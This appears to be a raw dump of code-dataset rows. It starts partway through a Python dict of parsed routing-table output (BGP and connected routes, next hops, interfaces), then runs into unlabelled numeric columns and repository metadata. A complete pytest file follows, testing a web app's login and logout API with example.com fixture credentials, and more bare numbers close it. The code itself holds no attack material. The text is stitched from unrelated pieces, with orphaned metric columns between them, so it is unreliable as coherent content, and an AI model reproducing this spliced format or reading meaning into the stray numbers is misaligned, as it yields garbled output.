'source_protocol_codes': 'B',
'source_protocol': 'bgp',
'route_preference': 20,
'metric': 0,
'next_hop': {
'next_hop_list': {
1: {
'index': 1,
'next_hop': '192.168.154.2',
'updated': '19:38:48'
},
},
},
},
'10.144.1.0/24': {
'route': '10.144.1.0/24',
'active': True,
'source_protocol_codes': 'B',
'source_protocol': 'bgp',
'route_preference': 20,
'metric': 0,
'next_hop': {
'next_hop_list': {
1: {
'index': 1,
'next_hop': '192.168.154.2',
'updated': '19:38:48'
},
},
},
},
'10.144.2.0/24': {
'route': '10.144.2.0/24',
'active': True,
'source_protocol_codes': 'B',
'source_protocol': 'bgp',
'route_preference': 20,
'metric': 0,
'next_hop': {
'next_hop_list': {
1: {
'index': 1,
'next_hop': '192.168.154.2',
'updated': '19:38:48'
},
},
},
},
'192.168.4.1/32': {
'route': '192.168.4.1/32',
'active': True,
'source_protocol_codes': 'L',
'source_protocol': 'local',
'next_hop': {
'outgoing_interface': {
'Loopback502': {
'outgoing_interface': 'Loopback502',
'updated': '1d22h'
},
},
},
},
'192.168.154.0/24': {
'route': '192.168.154.0/24',
'active': True,
'source_protocol_codes': 'C',
'source_protocol': 'connected',
'next_hop': {
'outgoing_interface': {
'GigabitEthernet0/0/0/0.502': {
'outgoing_interface': 'GigabitEthernet0/0/0/0.502',
'updated': '20:03:59'
},
},
},
},
'192.168.154.1/32': {
'route': '192.168.154.1/32',
'active': True,
'source_protocol_codes': 'L',
'source_protocol': 'local',
'next_hop': {
'outgoing_interface': {
'GigabitEthernet0/0/0/0.502': {
'outgoing_interface': 'GigabitEthernet0/0/0/0.502',
'updated': '20:03:59'
},
},
},
},
},
},
},
'last_resort': {
'gateway': 'not set'
},
},
},
}
| 47.815951
| 95
| 0.21029
| 372
| 7,794
| 4.231183
| 0.158602
| 0.160102
| 0.091487
| 0.13723
| 0.887548
| 0.796061
| 0.792249
| 0.792249
| 0.792249
| 0.763024
| 0
| 0.14866
| 0.69361
| 7,794
| 162
| 96
| 48.111111
| 0.510469
| 0
| 0
| 0.565217
| 0
| 0
| 0.218373
| 0.050937
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f4be60af9a6e5ee6c5078bd7f7453212d29507f0
| 3,718
|
py
|
Python
|
conbench/tests/api/test_auth.py
|
jonkeane/conbench
|
f096cc2f8b7a85d8e9aea32d8310127cf1923212
|
[
"MIT"
] | 48
|
2020-03-02T16:55:46.000Z
|
2022-02-26T00:35:57.000Z
|
conbench/tests/api/test_auth.py
|
jonkeane/conbench
|
f096cc2f8b7a85d8e9aea32d8310127cf1923212
|
[
"MIT"
] | 103
|
2020-03-23T00:22:46.000Z
|
2022-03-31T22:34:40.000Z
|
conbench/tests/api/test_auth.py
|
jonkeane/conbench
|
f096cc2f8b7a85d8e9aea32d8310127cf1923212
|
[
"MIT"
] | 6
|
2020-03-04T17:52:35.000Z
|
2022-03-30T11:53:40.000Z
|
import copy
from ...tests.api import _asserts
class TestLoginPost(_asserts.PostEnforcer):
url = "/api/login/"
required_fields = ["email", "password"]
valid_payload = {"email": "fixture@example.com", "password": "fixture"}
def test_unauthenticated(self, client):
self._create_fixture_user()
# cannot get users before login
response = client.get("/api/users/")
self.assert_401_unauthorized(response)
# login
response = client.post("/api/login/", json=self.valid_payload)
self.assert_204_no_content(response)
# can get users after login
response = client.get("/api/users/")
self.assert_200_ok(response)
def test_already_authenticated_good_credentials(self, client):
# already logged in
self.authenticate(client)
# can get users before re-login
response = client.get("/api/users/")
self.assert_200_ok(response)
# login
response = client.post("/api/login/", json=self.valid_payload)
self.assert_204_no_content(response)
# can get users after re-login
response = client.get("/api/users/")
self.assert_200_ok(response)
def test_already_authenticated_bad_credentials(self, client):
# already logged in
self.authenticate(client)
# can get users before re-login
response = client.get("/api/users/")
self.assert_200_ok(response)
# login (with bad credentials)
data = copy.deepcopy(self.valid_payload)
data["password"] = "wrong"
response = client.post("/api/login/", json=data)
message = {"_errors": ["Invalid email or password."]}
self.assert_400_bad_request(response, message)
# cannot get users after bad re-login
response = client.get("/api/users/")
self.assert_401_unauthorized(response)
def test_bad_credentials(self, client):
data = self.valid_payload.copy()
data["password"] = "wrong"
response = client.post("/api/login/", json=data)
message = {"_errors": ["Invalid email or password."]}
self.assert_400_bad_request(response, message)
def test_unknown_email(self, client):
data = self.valid_payload.copy()
data["email"] = "unknown@example.com"
response = client.post("/api/login/", json=data)
message = {"_errors": ["Invalid email or password."]}
self.assert_400_bad_request(response, message)
def test_invalid_email_address(self, client):
data = self.valid_payload.copy()
data["email"] = "not-an-email-address"
response = client.post("/api/login/", json=data)
message = {"email": ["Not a valid email address."]}
self.assert_400_bad_request(response, message)
class TestLogoutGet(_asserts.ApiEndpointTest):
def test_authenticated(self, client):
self.authenticate(client)
# can get users before logout
response = client.get("/api/users/")
self.assert_200_ok(response)
# logout
response = client.get("/api/logout/")
self.assert_204_no_content(response)
# cannot get users after logout
response = client.get("/api/users/")
self.assert_401_unauthorized(response)
def test_unauthenticated(self, client):
# cannot get users before logout
response = client.get("/api/users/")
self.assert_401_unauthorized(response)
# logout
response = client.get("/api/logout/")
self.assert_204_no_content(response)
# cannot get users after logout
response = client.get("/api/users/")
self.assert_401_unauthorized(response)
| 33.495495
| 75
| 0.642281
| 433
| 3,718
| 5.332564
| 0.163972
| 0.109138
| 0.08835
| 0.103941
| 0.80078
| 0.776094
| 0.776094
| 0.748809
| 0.716327
| 0.678216
| 0
| 0.019095
| 0.239376
| 3,718
| 110
| 76
| 33.8
| 0.797383
| 0.104895
| 0
| 0.731343
| 0
| 0
| 0.14139
| 0
| 0
| 0
| 0
| 0
| 0.313433
| 1
| 0.119403
| false
| 0.104478
| 0.029851
| 0
| 0.223881
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
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